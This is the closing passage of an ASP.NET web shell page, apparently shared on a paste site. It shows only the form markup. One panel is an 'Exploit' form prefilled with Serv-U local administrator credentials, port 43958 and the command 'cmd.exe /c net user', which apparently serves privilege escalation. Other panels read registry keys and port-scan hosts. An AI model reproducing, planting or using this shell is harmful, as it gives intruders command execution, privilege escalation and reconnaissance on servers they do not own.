  1516. </asp:DataGrid></div>
  1517. </asp:Panel>
  1518. <asp:Panel ID="Bin_SuPanel" runat="server" Width="763px" >
  1519. <hr />
  1520. Name :
  1521. <asp:TextBox ID="Bin_SunameTextBox" runat="server">localadministrator</asp:TextBox>
  1522. Pass :
  1523. <asp:TextBox ID="Bin_SupassTextBox" runat="server">#l@$ak#.lk;0@P</asp:TextBox>
  1524. Port :
  1525. <asp:TextBox ID="Bin_SuportTextBox" runat="server">43958</asp:TextBox><br />
  1526. CMD :
  1527. <asp:TextBox ID="Bin_SucmdTextBox" runat="server" Width="447px">cmd.exe /c net user</asp:TextBox><br />
  1528. <asp:Button ID="Bin_SuexpButton" runat="server" Text="Exploit" OnClick="Bin_SuexpButton_Click" /><br />
  1529. <div style="text-align:left">
  1530. <hr />
  1531. <asp:Label ID="Bin_SuresLabel" runat="server"></asp:Label>
  1532. </div>
  1533. </asp:Panel>
  1534. <asp:Panel ID="Bin_IISPanel" runat="server" Width="763px"><div style="text-align:left">
  1535. <hr />
  1536. <asp:Label ID="Bin_iisLabel" runat="server" Text="Label" EnableViewState="False"></asp:Label>&nbsp;</div></asp:Panel>
  1537. <asp:Panel ID="Bin_RegPanel" runat="server" Width="763px"><hr /><div style="text-align:left">
  1538. KEY :&nbsp; &nbsp;<asp:TextBox ID="Bin_KeyTextBox" runat="server" Width="595px">HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName</asp:TextBox><br />
  1539. VALUE :
  1540. <asp:TextBox ID="Bin_ValueTextBox" runat="server" Width="312px">ComputerName</asp:TextBox>&nbsp;<asp:Button
  1541. ID="Bin_RegreadButton" runat="server" Text="Read" OnClick="Bin_RegreadButton_Click" /><br />
  1542. <asp:Label ID="Bin_RegresLabel" runat="server"></asp:Label><hr /></div></asp:Panel>
  1543. <asp:Panel ID="Bin_PortPanel" runat="server" Width="763px">
  1544. <hr /><div style="text-align:left">
  1545. IP :
  1546. <asp:TextBox ID="Bin_ScanipTextBox" runat="server" Width="194px">127.0.0.1</asp:TextBox>
  1547. PORT :
  1548. <asp:TextBox ID="Bin_PortsTextBox" runat="server" Width="356px">21,80,1433,3306,3389,4899,5631,43958,65500</asp:TextBox>
  1549. <asp:Button ID="Bin_ScancmdButton" runat="server" Text="Scan" OnClick="Bin_ScancmdButton_Click" /><br />
  1550. <asp:Label ID="Bin_ScanresLabel" runat="server"></asp:Label></div><hr /></asp:Panel>
  1551.  
  1552. </div></form>
  1553. </body>
  1554. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement